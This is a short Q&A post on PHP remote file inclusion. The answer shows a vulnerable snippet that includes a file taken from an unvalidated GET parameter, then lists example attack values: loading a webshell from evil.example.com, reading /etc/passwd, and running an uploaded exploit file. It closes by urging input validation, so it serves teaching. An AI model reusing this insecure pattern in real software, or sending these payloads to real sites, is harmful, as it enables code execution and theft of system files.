Question

I see it mentioned in this question:

Including a remote php file as a resource

So how can someone “intercept” (and modify ?) the data that is being sent / received? (In that question it’s a remote PHP file read with fopen)

Answer 1

This example from Wikipedia that may cognise you of the ill-effects.

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   include( $color . '.php' );
?>

1. COLOR=http://evil.example.com/webshell.txt – injects a remotely hosted file containing a malicious code

2. COLOR=/etc/passwd – allows an attacker to read the contents of the passwd file on a UNIX system directory traversal

3. /vulnerable.php?COLOR=C:\ftp\upload\exploit – Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)

I hope from these examples, the lurking dangers are clearer to you.

“Untrusted Data Outside your script requires VALIDATION” to mitigate these attacks.